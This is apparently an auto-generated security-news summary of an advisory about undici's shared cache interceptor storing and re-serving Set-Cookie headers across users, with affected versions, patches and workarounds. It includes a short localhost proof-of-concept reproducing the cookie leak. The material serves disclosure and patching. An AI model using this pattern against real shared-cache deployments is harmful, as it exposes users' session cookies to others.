Listen to this Post
undici provides an HTTP client and cache interceptor for Node.js.
The vulnerable component is `interceptors.cache()`.
It does not handle `Set-Cookie` in the cache path.
In shared-cache mode, `type: ‘shared’` is the default.
A cacheable upstream response can be stored.
Example headers include `Cache-Control: public, max-age=…`.
If that response contains `Set-Cookie`, it is stored.
The stored `Set-Cookie` is re-served to a later caller.
The later caller uses the same cache key.
This exposes one user’s cookie to another caller.
An untrusted upstream can inject cookies.
Injected cookies are served to all later callers.
RFC 6265 section 7.2 forbids shared cache cookie storage.
The shared cache violates that rule.
Multi-user upstreams are affected.
Untrusted upstreams are affected.
Private caches with `type: ‘private’` are not affected.
Affected versions: `>= 7.0.0, < 7.29.1`.
Affected versions: `>= 8.0.0, < 8.10.2`.
Patched versions are `7.29.1` and `8.10.2`.
The patch stops storing responses with `Set-Cookie`.
The patch stops re-serving responses with `Set-Cookie`.
Previously cached entries are handled.
Revalidation paths are handled.
Workaround: use private cache for per-user responses.
Workaround: avoid caching responses that set cookies.
Workaround: strip `Set-Cookie` before caching.
Shared-cache applications should strip `Set-Cookie`.
Advisory published Sep 4, 2026.
Reviewed Sep 29, 2026.
DailyCVE Form:
Platform: undici Node.js client
Version: Multiple undici versions
Vulnerability: Set-Cookie shared cache
Severity: Moderate
date: Sep 4, 2026
Prediction: 2026-09-29
What Undercode Say:
Analytics
npm ls undici npm install [email protected] npm install [email protected]
const { Agent, interceptors, setGlobalDispatcher } = require('undici');
setGlobalDispatcher(new Agent({
interceptors: [
interceptors.cache({ type: 'shared' })
]
}));
Exploit: (Educational Purposes!)
const http = require('http');
const { Agent, interceptors, setGlobalDispatcher } = require('undici');
http.createServer((req, res) => {
res.writeHead(200, {
'Cache-Control': 'public, max-age=300',
'Set-Cookie': 'session=victim'
});
res.end('cached');
}).listen(3000);
setGlobalDispatcher(new Agent({
interceptors: [interceptors.cache({ type: 'shared' })]
}));
await fetch('http://localhost:3000/');
await fetch('http://localhost:3000/');
Protection: from this CVE
Upgrade `[email protected]`
Upgrade `[email protected]`
Use `type: ‘private’`
Strip `Set-Cookie`
Avoid caching `Set-Cookie`
Impact:
Cross-user cookie disclosure
Untrusted upstream cookie injection
RFC 6265 section 7.2 violation
Shared multi-user upstreams affected
Private caches unaffected
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
